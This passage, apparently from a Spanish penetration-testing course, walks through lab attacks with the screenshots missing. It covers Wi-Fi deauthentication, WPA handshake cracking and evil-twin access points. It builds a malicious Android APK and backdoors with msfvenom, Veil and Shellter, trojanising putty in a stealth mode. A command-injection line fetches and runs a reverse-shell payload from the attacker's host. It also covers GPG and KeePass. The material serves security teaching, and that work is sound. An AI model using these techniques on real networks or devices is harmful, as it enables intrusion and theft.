El programa de la suite aircrack que nos permite hacer esto es airplay-ng. Vamos a ver
como expulsar a un cliente específico. Primero usariamos airodump-ng para ver todos los
clientes conectados a la red inalámbrica que queramos atacar:

658
Ataques a redes inalámbricas

vemos que hay un cliente conectado. Vamos a ver como hacer que ese usuario pierda la
conexión. Para ello, pasaremos al comando aireplay-ng, los siguientes parámetros:

--death númeroDePaquetes - Número de paquetes deauth para enviar


-a bssidDelPuntoDeAcceso - BSSID del punto de acceso
-c MACdelCliente - MAC del cliente (recordar que aparece como STATION en
airodump-ng)
interfaz inalámbrica en modo monitor

Para poder ver lo que está pasando en tiempo real, podemos dejar airodump-ng corriendo y
abrir una segunda terminal para ejecutar aireplay-ng:

Cuando pulsemos intro, se comenzarán a enviar paquetes y podremos ver como crece la
cantidad de paquetes perdidos (Lost) en la sección del cliente de airodump-ng:

659
Ataques a redes inalámbricas

Descubriendo redes inalámbricas ocultas. Redes que no


emiten su nombre (ESSID)
Una red inalámbrica oculta es la que no emite su ESSID y necesitamos el ESSID para
poder conectarnos o lanzar ataques. Sin embargo, aunque no emita el ESSID, si emitirá el
resto de información como el BSSID (dirección MAC del punto de acceso) o el canal. Como
hemos visto anteriormente, podemos usar airdodump-ng para capturar el tráfico al alcance
de nuestra tarjeta inalámbrica:

airodump-ng wlan0mon

En la captura vemos una red que no está emitiendo su nombre (ESSID). Si la red tiene
mucho tráfico, airodump-ng será capaz de descubrirlo sin que hagamos nada ya que,
cuando se conecten dispositivos a esa red inalámbrica, tendrán que enviar el ESSID de la

660
Ataques a redes inalámbricas

red para poder conectar. Sin embargo, puede darse el caso que la red no tenga tanto tráfico
y nos toque hacerlo a mano. Para ello, lo que vamos a hacer es ver los clientes
(dispositivos) conectados a esa red:

airodump-ng --bssid BSSIDDelPuntoDeAcceso --channel CanalEnElQueEmite wlan0mon

Vemos que hay un dispositivo conectado. Lo que vamos a hacer es desconectarlo utilizando
un ataque deauth con aireplay-ng para obligar al dispositivo a conectarse de nuevo al punto
de acceso y para ello emitir el ESSID de la red. En este caso, como queremos que la
perdida de conexión dure lo menos posible para que sea lo menos perceptible por el
usuario, mandaremos pocos paquetes para que la perdida de conexión del cliente sea de
pocos segundos:

Podemos ver que, aunque enviemos pocos paquetes, el ataque funciona y podemos ver el
ESSID de la red.

Cracking
Hay 3 tipos de cifrado principales que podemos usar en las redes inalámbricas:

WEP
WPA
WPA2

WEP (Wired Equivalent Privacy)

661
Ataques a redes inalámbricas

Hoy en día apenas se usa ya que es el más vulnerable de los 3.

Ataque de diccionario contra WPA/WPA2


Los únicos paquetes que nos pueden ayudar a realizar un ataque contra la clave son los del
handshake. Cada vez que un dispositivo se conecta a una red inalámbrica protegida con
WPA, se realia un handshake de 4 pasos entre el cliente y el punto de acceso. Para lanzar
un ataque de diccionario contra una red inalámbrica protegida con WPA/WPA2,
necesitamos:

1. Capturar el handshake
2. Un diccionario

Vamos a ver primero cómo capturar el handshake. Para elo, usaremos airodump-ng para
capturar paquetes y aireplay-ng para desconectar un dispositivo y obligarle a conectarse de
nuevo. Para empezar, ejecutamos airodump-ng para ver las redes a nuestro alcance y
elegir la red objetivo:

Una vez elegida la red, utilizamos nuevamente airodump-ng para capturar paquetes de esa
red y guardarlos en un fichero que en este caso he llamado target_handshake:

Una vez ejecutemos el comando, veremos los clientes que están conectados al punto de
acceso (AP) de la red inalámbrica. En este caso sólo 1:

662
Ataques a redes inalámbricas

Para poder capturar el handshake, vamos a lanzar un ataque deauth con aireplay-ng para
obligar al dispositivo a conectarse de nuevo al punto de acceso (AP) de la red inalámbrica.
Para conectarse de nuevo a la red inalámbrica, se tendrá que hacer el handshake y es ahí
donde lo capturaremos. Tecleamos el comando que ya conocemos:

y lo ejecutamos:

Veremos que el handshake es capturado en la esquina superior derecha de la captura con


airodump-ng. Una vez capturado el handshake, podemos detener la captura de paquetes.
De los ficheros que se han creado, el que nos interesa es el que tiene la extensión .cap:

663
Ataques a redes inalámbricas

Ya tenemos la primera parte, un fichero con la captura del handshake. Ahora vamos a
contruir un diccionario (lista) con las palabras que pensamos que pueden ser la contraseña.
Para ello, utilizamos el editor de texto que queramos:

Tecleamos cada palabra en una línea:

y guardamos el fichero. Ya tenemos todo lo necesario. Para lanzar el ataque de diccionario,


usaremos el programa aircrack-ng de la suite aircrack. Para ello, le pasamos a aircrack-ng
el fichero donde hemos capturado el handshake y el diccionario que queramos usar con la
opción -w:

y si la clave está entre las palabras del diccionario, nos mostrará el mensaje KEY FOUND!
cuando pruebe la clave:

664
Ataques a redes inalámbricas

Construyendo diccionarios con crunch


Crunch es un programa que nos puede ayudar a crear diccionarios siguiendo patrones. La
forma de utilizarlo es:

crunch longitudMínimaDePalabra longitudMáximaDePalabra símbolosAUtilizar


opcionesQueLeQueramosPasarACrunch

Entre otras, al comando le podemos pasar las siguientes opciones:

-o nombreDelFicheroDondeSeGuardaránLasPalabras
-t patrónASeguir
% representa un número
@ representa una letra minúscula

Vamos a ver algunos ejemplos. Para crear un diccionario que contenga todas las
combinaciones con un mínimo de 3 a un máximo de 5 cifras posibles, ejecutaremos crunch
de la siguiente manera:

crunch 3 6 0123456789 -o numeros_de_3_a_6_cifras

Podremos ver que el diccionario se ha creado correctamente, por ejemplo, usando el


comando head:

665
Ataques a redes inalámbricas

También podemos crear claves que combinen letras y números. Por ejemplo, creemos un
diccionario que contenga la palabra temporal y después los números desde el 2000 hasta el
2099:

crunch 12 12 -t temporal20%% -o claves_temporales_2000

De nuevo podremos ver que el diccionario se ha creado correctamente, por ejemplo,


usando el comando head:

Viendo las claves que ponen los operadores, quizá un diccionario (lista) para contraseñas
de routers inalámbricos podría ser todos los números de 10 cifras que comiencen por 88:

crunch 10 10 0123456789 -t 88%%%%%%%% -o wordlist_big

y nuevamente con head comprobamos que el diccionario sea correcto:

666
Ataques a redes inalámbricas

Rogue AP y Evil Twin


Un rogue access point (Rogue AP) es un punto de acceso no autorizado que levantamos en
una red. Evil twin es un ataque MiTM que podemos realizar contra los usuarios de una red
inalámbrica en la que levantaremos un rogue AP (Punto de Acceso no autorizado) que sea
idénticamente igual a otro punto de acceso o router inalámbrico. Lo que buscamos con esto
es que los clientes o dispositivos se conecten a nuestro punto de acceso en vez de al
legítimo. Si tenemos más potencia que el AP legítimo o estamos más cerca del cliente que
el AP legítimo y los clientes tienen configurado la conexión automática:

667
Ataques a redes inalámbricas

Los clientes se conectarán automáticamente a nuestro rougue AP (evil twin) en vez de al


original. Incluso podemos forzar con la desconexión de un cliente del AP legítimo con un
ataque deauth para forzar que se conecte a nuestro AP.

Rogue AP con airbase-ng


El programa airbase-ng nos permite levantar un punto de acceso de forma sencilla. Para
ello, ejecutamos el comando airbase-ng y le pasamos las siguientes opciones:

--essid nombreDeLaRed
-c canalEnElQueQureremosEmitir
Como siempre la interfaz inalámbrica en modo monitor

y veremos que hemos levantado un punto de acceso:

668
Ataques a redes inalámbricas

en cuanto se conecte algún cliente, airbase-ng nos lo indicará:

Evil twin con airbase-ng


Vamos a ver cómo realizar este ataque con el programa airbase-ng de la suite aircrack.
Primero usamos airodump-ng para ver las redes inalámbricas a nuestro alcance y
seleccionar la red contra la que haremos el ataque evil twin:

669
Ataques a redes inalámbricas

Para levantar un evil twin (rogue AP idéntico a otro) usamos el programa airbase-ng
pasandole las siguientes opciones:

-a BSSIDDelPuntoDeAccesoASuplantar
-essid nombreDeLaRedQueQueremosSuplantar
-c canalEnElQueEmiteLaAPLegítima
Como siempre la interfaz inalámbrica en modo monitor

Pendiente de actualizar

670
Moviles android

android mobile's phones/tablets


Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.

1. Análisis básico de una aplicación desde windows

2. Acceso a un teléfono android desde la línea de comandos

3. Creando una apk con msfvenom para conseguir acceso remoto

Referencias
1. Páginas web
Dalvik Bytecode

Análisis básico de una aplicación desde windows


Estar dispuesto a adquirir o tener conocimientos en java y android sería recomendable a la
hora de analizar aplicaciones

Apktool
Para realizar el análisis, vamos a descargar Apktool para windows. Accedemos a la web y
descargamos primero el wrapper script:

671
Moviles android

que nos va a facilitar el uso de apktool. Después hacemos click sobre el enlace que está
junto al texto Download apktool-2:

y descargamos la última versión:

Hacemos click con el botón derecho del ratón sobre [Link] y seleccionamos edit:

672
Moviles android

para editar el script. Ahora cambiamos la ruta que viene por defecto:

por la ruta donde nos hayamos descargado el archivo con extensión jar:

En este caso, sólo hemos cambiado el nombre del archivo porque queremos que el script
seleccione la ruta del directorio donde lo ejecutemos. Para ejecutarlo, abrimos la consola de
comandos:

673
Moviles android

accedemos a la carpeta donde hemos descargado apktool:

y lo ejecutamos para probar que funciona:

674
Moviles android

Una vez tenemos la herramienta, vamos a conseguir una apk. En una auditoría,
normalmente el cliente facilita la apk que tenemos que analizar, pero este caso, vamos a
descargar una apk de google play. Como Google Play espera que usemos un dispositivo
android para descargar estas apks, vamos a ayudarnos de la web Evozi:

Primero buscamos la aplicación gratuita de Google Play que queramos descargar. Por
ejemplo, el navegador Firefox. Copiamos la URL de Google Play:

675
Moviles android

la pegamos en el formulario de busqueda de la web de Evozi y hacemos click en el


Generate Download Link:

para crear el link para descargar la apk. Una vez creado el link, lo pulsamos:

676
Moviles android

para descargar el archivo:

Un archivo apk es como un archivo comprimido de windows. De hecho, si cambiamos la


extensión del archivo que hemos descargado a .zip y hacemos click con el botón derecho
del ratón sobre el archivo, veremos que podemos descomprimirlo:

y una vez descomprimido el paquete, veremos la carpeta:

donde están los archivos:

677
Moviles android

Entre los ficheros, veremos archivos con la extensión .dex (Davilk Executable):

Estos son los archivos ejecutables que usa android. Están compilados en dalvik bytecode
desde el lenguaje de programación Java y para poder verlos, tenemos que
desensamblarlos. Por este motivo, aunque podemos ver el contenido del paquete apk
cambiando la extensión, vamos a utilizar otras herramientas como apktool para analizar el
contenido de las aplicaciones de android. Para ello, borramos la carpeta en la que hemos
descomprimido los archivos y volvemos a cambiar la extensión del archivo de .zip a .apk:

678
Moviles android

abrimos la consola de comandos:

accedemos a la carpeta donde hemos descargado apktool y donde tenemos el archivo apk
a analizar:

679
Moviles android

y ejecutamos el comando apktool pasandole la opción d y el nombre de la apk:

entramos en el directorio que se ha creado:

para ver los archivos:

Aunque podríamos ver los contenidos del fichero desde la consola de comandos:

680
Moviles android

normalmente lo abriremos el archivo [Link] usando editor de texto. En este


caso uso el bloc de notas de windows:

Este archivo contiene infomación importante de la apk como los permisos que necesita:

dex2jar y JD-GUI
dex2jar es una herramienta que nos permite desensamblar ficheros ejecutables de android,
esos con extensión .dex, en archivos con extensión .jar de Java. El código que escribimos
en el lenguaje de programación java, tiene que ser ejecutado por un programa que se llama
la máquina virtual de Java. Para que esto sea posible, el código fuente que escribimos en
java, tiene que ser compilado a un formato que se llama java bytecode. Los ficheros en los
que escribimos el código fuente, tienen la extensión .java y los ficheros que compilamos a
java bytecode tienen la extensión .class. Normalmente, una aplicación de Java está
compuesta por muchos ficheros compilados. Una forma de distribuir todos estos archivos
compilados, es agruparlos (comprimirlos) en un sólo fichero (archivo) que tiene la extensión
.jar. Ahora que ya sabemos lo que es un archivo .jar, vamos a usar el programa dex2jar
para convertir el conjunto de archivos compilados para android (dalvik bytecode) en su
equivalente para java (archivos .jar - java bytecode). Una vez tengamos el archivo .jar,
podremos usar el programa jd-gui para extraer del archivo .jar, todos los archivos
compilados de java (.class) y desensamblarlos en archivos .java que es donde podemos ver
el código fuente en texto plano.

Comenzamos descargando dex2jar desde SourceForge:

681
Moviles android

Una vez descargado el fichero, lo descomprimimos:

Copiamos el archivo de la apk que queramos analizar:

682
Moviles android

y lo pegamos en la carpeta de dex2jar:

683
Moviles android

Ahora abrimos la consola de comandos y accedemos a la carpeta donde hemos


descomprimido el programa dex2jar:

De todos los archivos que hay en esta carpeta, vamos a utilizar el script [Link] para
obtener el archivo con extensión jar de Java:

Para ello, le pasamos al script d2j-dex2jar el nombre del archivo apk:

684
Moviles android

Una vez termine, podremos ver el fichero .jar:

Ahora que tenemos el archivo .jar, vamos a obtener el codigo fuente de los archivos
compilados en bytecode (.class) que están dentro del archivo .jar. Para ello utilizaremos jd-
gui (Java Decompiler - Graphical User Interface). Primero descargamos el archivo zip para
windows de JD-GUI desde su página web:

descomprimimos el archivo:

685
Moviles android

accedemos a la carpeta y lo ejecutamos:

Pulsamos en el icono de la carpeta:

686
Moviles android

y seleccionamos el archivo .jar que hemos creado usando el programa dex2jar:

Una vez lo abramos, podremos explorar el código fuente de la aplicación:

687
Moviles android

Acceso a un teléfono android desde la línea de comandos


Esta practica podemos hacerla conectando nuestro teléfono, no funciona bien con la
máquina virtual. Para poder acceder por consola de comandos, tenemos que tener
activadas las opciones de desarrollo en el dispositivo android. Para ello, vamos a settings:

688
Moviles android

Vamos a la sección about de nuestro dispositivo android:

y pulsamos repetidas veces sobre build number:

Hasta que nos muestre que las opciones de desarrollo han sido activadas:

Una vez tengamos activadas estas opciones, podemos usar el programa abd de android-
sdk para acceder por línea de comandos al terminal. Para ello, accedemos a la carpeta
donde se ha instado android-sdk. Normalmente la ruta es:

C:\Users\NuestroUsuario\AppData\Local\Android\Sdk\platform-tools

Tecleamos adb devices para que nos muestre los dispositivos android conectados:

689
Moviles android

En este caso, como sólo hay uno, podemos ejecutar el comando adb shell para interactuar
con el dispositivo android:

Las apks que instala el usuario suelen estar en la carpeta data y las de sistema en la
carpeta system/app:

Si quisieramos descargar cualquiera de estas apks para analizarlas, ejecutamos el


comando exit para volver a la línea de comandos de windows y, desde ahí, ejecutamos el
comando adb pull pasandole como argumento la ruta de la apk que queramos descargar.
En este caso, descargamos YouTube:

Veremos que la apk se ha descargado:

690
Moviles android

Creando una apk con msfvenom para conseguir acceso


remoto
Para que este ataque funcionase sobre un dispositivo android:

El navegador del dispotivo, normalmente Google Chrome, tiene que tener permisos
para descargar ficheros
El dispositivo tiene que tener activada la opción para descargar aplicaciones (apks) de
fuentes no conocidas

Vamos a activar estas dos opciones en nuestro dispositivo android virtualizado. Para ello,
seleccionamos Settings de las aplicaciones:

691
Moviles android

A continuación, pulsamos en Apps:

después pulsamos sobre Chrome:

ahora sobre permisos:

692
Moviles android

finalmente sobre storage para activar el permiso:

Para activar el permiso de descargar aplicaciones desde fuentes no conocidas, accedemos


nuevamente a Settings y esta vez pulsamos sobre Security:

y activamos la opción unknown sources:

693
Moviles android

Para crear el payload, vamos utilizaremos msfvenom. Primero listamos todos los payloads
disponibles para android:

En este caso vamos a usar android/meterpreter/reverse_tcp para que el dispositivo android


se conecte directamente a nosotros. Las opciones mínimas que tenemos que pasarle son:

-p payload => para indicar que payload usaremos. En este caso


android/meterpreter/reverse_tcp
LHOST=host => para indicar a qué host tiene que conectarse el teléfono android. En
este caso Kali.
LPORT=port => para indicar el número de puerto. En este caso voy a usar el 1313
-o nombreDelPayload => para indicar la ruta el nombre que queremos dar al apk. En
este caso, como lo voy a poner en el servidor apache, usare la ruta /var/www/html

Iniciamos el servidor apache:

Ahora vamos a usar metasploit para levantar un servicio a la escucha, para ello usaremos
exploit/multi/handler:

694
Moviles android

indicándole el payload:

el número de puerto

y el host:

comprobamos que las opciones sean correctas:

y lo ejecutamos:

Una vez tengamos el servicio a la escucha, tenemos que conseguir que el dispositivo
android baje la apk maliciosa. Esto podemos conseguir a través de algún ataque de
ingeniería social. En este caso, vamos a descargarlo directamente desde el dipositivo
android que tenemos en virtual box. Abrimos el navegador:

695
Moviles android

tecleamos la dirección donde esta la apk:

Tras descargarla, pulsamos sobre el archivo descargado para abrirlo:

Nos mostrará los permisos que requiere la aplicación para funcionar y hacemos click en
Next para continuar viendo los permisos:

696
Moviles android

y finalmente en Install para instalarla:

Tras finalizar la instalación, hacemos click en Open:

697
Moviles android

Veremos que en el teléfono android no pasa nada y que hemos recibido una sesion en
metasploit:

podemos comprobar que la sesión es de la máquina android, por ejemplo, ejecutando


sysinfo:

Los archivos del usuario, normalmente están en el directorio sdcard. Si accedemos al


directorio:

podemos listarlos:

698
Moviles android

o realizar cualquier acción sobre los mismos desde meterpreter.

699
Backdoors

Backdoors
Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.

1. Generando backdoors con msfvenom

2. Generando backdoors con Veil

3. Inyectando backdoors en ficheros ejecutables con Shellter

Referencias
1. Páginas web:
Shellter

Generando backdoors con msfvenom


Vamos a ver como generar backdoors con msfvenom. Por ejemplo, podemos generar una
shell reversa de php con el payload meterpreter. Accedemos a la ruta web del servidor
apache:

para ver todos los payloads que podemos generar con msfvenom, podemos ejecutar el
comando:

msfvenom -l payloads

700
Backdoors

En este caso, utilizaremos php/meterpreter/reverse_tcp como payload. Para ver qué


opciones tenemos pasarle a msfvenom para generar el payload, le pasamos la flag --
payload-options a msfvenom:

msfvenom -p php/meterpreter/reverse_tcp --payload-options

En este caso vemos que aparece por defecto el puerto 4444, si queremos usar ese puerto,
sólo tenemos que dar como valor a la variable LHOST la ip de Kali Linux. Generamos el
payload y lo guardamos en un fichero en la ruta del servidor apache:

iniciamos el servidor apache:

abrimos metasploit:

701
Backdoors

para levantar el servicio al que se conectará la backdoor desde la máquina infectada. Para
ello, tecleamos use exploit/multi/handler y pulsamos intro:

Si ejecutamos show options veremos que tenemos que no hay nada por defecto:

Empezamos introduciendo el payload (php/meterpreter/reverse_tcp) que hemos usado:

utilizamos el comando show options para ver las opciones del payload:

702
Backdoors

vemos que el puerto es correcto, luego sólo tenemos que dar como valor a LHOST la ip de
Kali Linux:

comprobamos que todo está correcto:

703
Backdoors

y lo ejecutamos para que se quede a la escucha:

Vamos a probar nuestro payload con la aplicación dvwa de metasploitable 2 que ya


conocemos. Nos logamos en la aplicación, ponemos la seguridad en low y vamos a
Commad Execution para descargar el payload. Vamos a utilizar el comando wget para
descargar el fichero ([Link]) del servidor apache que hemos levantado en Kali
Linux y el comando php con la opción -f para ejecutarlo. Metemos el payload en el recuadro
y pulsamos el botón submit:

[Link] && wget [Link] -O /tmp/[Link] && php -f


[Link]

y veremos como se genera una sesión metasploit:

y podemos ejecutar comandos de meterpreter:

Generando backdoors con Veil

704
Backdoors

Para instalar Veil, accedemos al repositorio y pulsamos el botón de Clone or Download y


copiamos la url:

clonamos el repositorio:

accedemos a la carpeta:

y lo instalamos usando el script [Link]:

./config/[Link]

705
Backdoors

Una vez instalado, lo ejecutamos:

Para ver las herramientas que vienen con Veil, tecleamos list:

Veremos que hay 2:

706
Backdoors

Evasion => nos genera puertas traseras encodeadas


Ordnance => genera los payloads que utiliza Evasion

tecleamos use 1 para seleccionar Evasion y presionamos intro:

Una vez seleccionado Evasion, si hacemos click en list, veremos todos los payloads que
podemos generar:

En este caso vamos a seleccionar el número 20:

707
Backdoors

para ello tecleamos use 20 y pulsamos intro:

de las opciones que nos muestra:

vemos que la única que es obligatoria LHOST ya que LPORT viene fijada por defecto al
puerto 8080. Introducimos en LHOST la dirección de nuestra máquina Kali Linux donde
queremos que se establezca la conexión reversa:

708
Backdoors

y después tecleamos options para verificar que los cambios se hayan realizado
correctamente:

Ejecutamos el comando generate para crear el archivo:

y le damos un nombre y pulsamos intro:

copiamos la ruta del archivo generado:

y pulsamos enter y ejecutamos exit para salir:

709
Backdoors

Copiamos el archivo al servidor apache:

y levantamos el servidor:

abrimos metasploit:

710
Backdoors

para levantar el servicio al que se conectará la backdoor desde la máquina infectada. Para
ello, tecleamos use exploit/multi/handler y pulsamos intro:

Si ejecutamos show options veremos que tenemos que no hay nada por defecto:

Empezamos introduciendo el payload:

set payload windows/meterpreter/reverse_http

Si volvemos a ejecutar show options para ver las opciones del payload, veremos que sólo
es necesario dar valor a la variable LHOST ya que LPORT está por defecto al puerto 8080:

Ponemos la IP de Kali Linux en LHOST:

711
Backdoors

comprobamos que todas las opciones son correctas:

y lo ejecutamos para que se quede a la escucha:

Accedemos desde el navegador de windows 10 al servidor apache que hemos levantado en


Kali y descargamos el archivo:

Una vez descargado el archivo, lo ejecutamos:

712
Backdoors

pulsamos el botón Run:

y veremos que se crea una sesión en Kali Linux:

Podemos comprobar que es la máquina de windows 10 con el comando sysinfo de


meterpreter:

713
Backdoors

Inyectando backdoors en ficheros ejecutables con Shellter


Desde Kali Linux, descargamos la última versión de shellter de su página web:

y descargamos la versión de 32 bits del programa [Link] que utlizaremos para inyectar el
código del backdoor. Podemos descargar putty del siguiente enlace:

[Link]

714
Backdoors

Descomprimos shellter usando el comando unzip:

copiamos [Link] a la carpeta de shellter:

y accedemos a la carpeta:

715
Backdoors

Al ser un fichero ejecutable de windows, usamos wine para ejecutarlo:

Seleccionamos a para modo automático:

le indicamos el nombre del fichero que queremos modificar. En este caso [Link]:

716
Backdoors

Pulsamos intro para continuar:

Una vez termine, nos preguntará si queremos activar el modo sigiloso. Activarlo quiere decir
que el usuario podrá ejecutar y usar el programa mientras se ejecuta el malware. Tecleamos
Y y pulsamos intro:

A continuación nos muestra los payloads que puede inyectar en putty y nos pregunta que si
queremos uno de estos u otro que tengamos. En este caso seleccionamos l para escoger
uno del listado:

717
Backdoors

y después 1 para seleccionar Meterpreter Reverse TCP stager:

Le indicamos la ip de Kali Linux:

después el puerto que queramos:

una vez termine, pulsamos intro:

718
Backdoors

copiamos [Link] al servidor apache:

y lo levantamos:

abrimos metasploit:

para levantar el servicio al que se conectará la backdoor que hay dentro de putty. Para ello,
tecleamos use exploit/multi/handler y pulsamos intro:

Si ejecutamos show options veremos que tenemos que no hay nada por defecto:

719
Backdoors

seleccionamos el payload windows/meterpreter/reverse_tcp:

ponemos la ip de Kali Linux como LHOST:

y el puerto elegido como LPORT:

comprobamos las opciones:

720
Backdoors

y lo dejamos a la escucha:

En este caso, la última versión de windows defender, detecta el payload, luego vamos a
desactivar windows defender en este caso hasta que los desarrolladores de shellter
modifiquen el payload. Otra opción que tendríamos es modificar a mano el binario de putty.
En el blog de RealPentesting hay una entrada de cómo hacerlo. Para desactivar windows
defender, pulsamos el icono en la barra de tareas de windows:

pulsamos sobre Virus and Threat protections:

721
Backdoors

y desactivamos Real Time Protection:

722
Backdoors

Pulsamos en Yes:

y quedará desactivado:

723
Backdoors

Descargamos putty:

y lo ejecutamos:

Pulsamos en More info:

724
Backdoors

y finalmente en Run anyway para ejecutarlo:

725
Backdoors

veremos que se abre putty en windows:

726
Backdoors

y una sesión en metasploit:

en donde podemos ejecutar comandos de meterpreter:

727
Backdoors

728
Criptografía

Criptografía
Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.

1. GPG (GNU Privacy Guard)


Generando el par de claves
Compartiendo la clave pública
Cifrando un mensaje
Descifrando un mensaje

2. Comprobando certificados con openssl y nmap

3. Keypass

4. Cifrando parte del disco duro con VeraCrypt

Referencias
1. Páginas web
GNU Privacy Guard
VeraCrypt Beginner's Tutorial

GNU Privacy Guard


Es una implementación open source de PGP. Vamos a ver cómo usarlo desde la línea de
comandos. Lo primero que tenemos que hacer es generar el par de claves (pública y
privada) para cada uno de los interlocutores. En este caso, por ejemplo, los interlocutores
serán:

Maria
Javier

Generando el par de claves


Aunque el proceso para generar las claves será el mismo para ambos usuarios,
comenzamos generando el par de claves para Maria. Para ello ejecutamos:

729
Criptografía

gpg --full-generate-key

En este caso, seleccionamos la opción 1 (RSA para cifrar y RSA para firmar) y pulsamos
intro:

RSA permite claves de distinta longitud/tamaños. Tecleamos 4096 para la seleccionar la


máxima longitud de la clave y pulsamos intro:

A continuación nos preguntará por cuánto tiempo queremos que el par de claves sea válido.
En este caso, seleccionamos 10 días y pulsamos intro:

730
Criptografía

Confirmamos la selección anterior, tecleando y y pulsamos intro:

Nos preguntará el nombre del usuario. Lo tecleamos y pulsamos intro:

731
Criptografía

Después tecleamos el email y volvemos a pulsar intro:

Pulsamos intro cuando nos pregunte por los comentarios y nos pedirá que confirmemos que
queremos crear el par de claves. Tecleamos la letra o y pulsamos intro para continuar:

732
Criptografía

Tecleamos un passphrase para la clave y pulsamos el botón OK:

733
Criptografía

para generar el par de claves de Maria:

Repetimos el mismo proceso para generar el par de claves para Javier. En este caso
estamos utilizando la misma máquina virtual de Kali Linux para generar las claves de María
y Javier pero, lo más normal, es que cada usuario genere las claves en su ordenador y

734
Criptografía

luego se comparta únicamente la clave pública. Para generar las claves de Javier,
seleccionamos las mismas opciones que cuando generamos el par de claves para María.
Confirmamos con la letra o y pulsamos intro:

para generar el par de claves de Javier:

Compartiendo la clave pública

735
Criptografía

Una vez generadas las claves, para que María y Javier puedan intercambiar mensajes
cifrados entre ellos, deben compartir su clave pública. Cuando María quiera enviar un
mensaje cifrado a Javier, utilizará la clave pública de Javier para cifrar el mensaje y Javier
usará su clave privada para descrifrarlo. Veamos cómo hacerlo con un ejemplo. Lo primero
que haremos será exportar la clave pública de Javier. Para ello, le pasaremos a gpg los
siguientes parámetros:

--armor-- para que la clave se muestre legible en caracteres ASCII


--export-- usuario@[Link] para exportar la clave pública que hemos creado

Para guardar la clave pública en un archivo, sólo tenemos que redireccionar la salida del
comando a un fichero:

736
Criptografía

Si queremos, podemos verificar el contenido del fichero que se ha creado:

Una vez tenemos la clave pública de javier en un fichero ([Link]) podemos compartir ese
fichero con María para que pueda cifrar la información que quiera enviar a Javier.

Cifrando un mensaje
Una vez creado el fichero [Link] podemos compartirlo con quién queramos o incluso
meterlo en un certificado. En este caso, imaginemos que lo hemos compartido con María
para que pueda enviarnos mensajes cifrados. Lo primero que hará María con la clave de
Javier es importarla. Para ello, utilizamos nuevamente el comando gpg con la opción --
import y el nombre del fichero:

Una vez importada la clave pública de Javier, ya podemos usarla para cifrar los mensajes
que le enviemos. Creamos un mensaje usando cualquier editor de texto, como por ejemplo
Vim, y lo guardamos:

Para cifrar el mensaje utilizaremos el comando gpg seguido de las siguientes opciones:

737
Criptografía

--encrypt-- para indicar que queremos cifrar el mensaje


--armor-- para que se muestre legible en caracteres ASCII
< fichero_con_texto_a_cifrar redireccionamos el fichero con el texto a cifrar a stdin
del programa gpg

Tras ejecutar el comando, como podemos tener la clave pública de muchos usuarios
importada, nos pedirá el email del usuario al que queramos enviar el correo. En este caso
javier@[Link]:

Pulsamos intro y veremos que se ha añadido:

pulsamos intro nuevamente para obtener el texto cifrado:

738
Criptografía

Una vez tenemos el texto cifrado, lo copiamos:

739
Criptografía

y podemos pegarlo en un email o en cualquier otro medio. La clave privada de Javier es la


que puede descifrar el mensaje. Es decir que, aunque otra persona interceptase la
comunicación, si no tiene la clave pública de Javier, no debería poder descrifrar el mensaje.
En este caso, copiamos el mensaje cifrado en un fichero de texto:

y lo guardamos:

Descifrando un mensaje
Una vez Javier reciba el mensaje de María, puede descrifrarlo usando su clave privada.
Para ello, utilizamos el comando gpg pasandole la opción --decrypt y el fichero a descifrar:

740
Criptografía

Nos pedirá a continuación el passphrase de la clave privada de Javier:

y tras pulsar el botón OK, descrifrá el mensaje que ha enviado María:

Comprobando certificados con openssl y nmap


Vamos a ver como podemos usar el programa s_client de la suite OpenSSL y Nmap para
verificar los datos de los certificados. Como vimos en el tema web, para conectarnos a una
página web que este usando TLS/SSL para cifrar las comunicaciones, podemos usar
s_client:

741
Criptografía

En la respuesta podremos ver, entre otros, quién ha emitido el certificado, la versión del
protocolo que se está usando para cifrar la comunicación o el tamaño de clave:

Podemos ver la información mejor organizada usando el script ssl-cert de nmap:

Otro script de Nmap útil es ssl-enum-ciphers que nos va a permitir listar todos los ciphers
disponibles:

742
Criptografía

KeyPass
KeyPass es un gestor de contraseñas. Para usarlo, lo descargamos de la web oficial de
KeyPass:

Seleccionamos un idioma:

743
Criptografía

Aceptamos la licencia si estamos de acuerdo:

En el siguiente paso nos permite cambiar la ruta de instalación. Si estamos conformes con
la ruta por defecto pulsamos Next:

744
Criptografía

A continuación, volvemos a hacer click en Next:

Marcamos las casillas que queramos y pulsamos, nuevamente, en Next:

745
Criptografía

Finalmente pulsamos en Install:

Tras finalizar la instalación, pulsamos el botón Finish:

746
Criptografía

para ejecutar el programa:

747
Criptografía

Para crear una nueva base de datos, hacemos click en el botón New:

Pulsamos OK para continuar con la creación de la base de datos:

A continuación, le damos un nombre al fichero de base de datos de KeyPass y lo


guardamos:

748
Criptografía

A continuación nos pedirá la contraseña para abrir el fichero. Si decidimos usar un


programa como KeyPass para gestionar nuestras credenciales, al menos, la contraseña
que descifre el fichero debería ser segura. Para ello, entre otros, podemos:

No utilizar contraseñas que ya estemos usando en otros servicios


Usar un mínimo 24 caracteres unicode como ejemplo:
números
letras mayúsculas y minúsculas
símbolos como por ejemplo: \/-@*-.
Intentar que la contraseña sea aleatoria

Una vez introducida, pulsamos el botón OK:

749
Criptografía

En este caso, aceptamos las opciones por defecto y pulsamos el botón OK:

750
Criptografía

A continuación nos preguntará si queremos crear una hoja donde podemos anotar la
contraseña para que, en caso de no recordarla, podamos acceder al fichero. Atendiendo a
qué es mejor recordar la contraseña que tenerla escrita en alguna parte, selecciono
saltarme este paso:

751
Criptografía

Se creará la base de datos con un par de ejemplos:

Podemos borrarlos, haciendo click con el botón derecho sobre el ejemplo que queramos
borrar y pulsando sobre Delete Entry:

Para crear una nueva entrada, pulsamos el Icono de la llave amarilla:

752
Criptografía

Completamos todos los datos. Por ejemplo, en este caso ponemos nuestras credenciales
de GitHub y pulsamos OK:

753
Criptografía

para almacenarlas:

Ahora si vamos a la web de login de GitHub y hacemos click en el campo username:

volvemos a KeyPass, hacemos click con el botón derecho del ratón sobre GitHub y
seleccionamos Perform Auto-Type o pulsamos las teclas Ctrl+v:

754
Criptografía

Automáticamente, completará los campos de credenciales en GitHub e intentará logarse:

Una vez hayamos terminado de trabajar con KeyPass, pulsamos el botón del disquete para
guardar las nuevas credenciales creadas o los cambios realizados:

755
Criptografía

y tras guardar los cambios ya podemos salir.

VeraCrypt
Este tutorial está basado VeraCrypt Beginner's Tutorial. Descargamos VeraCrypt para el
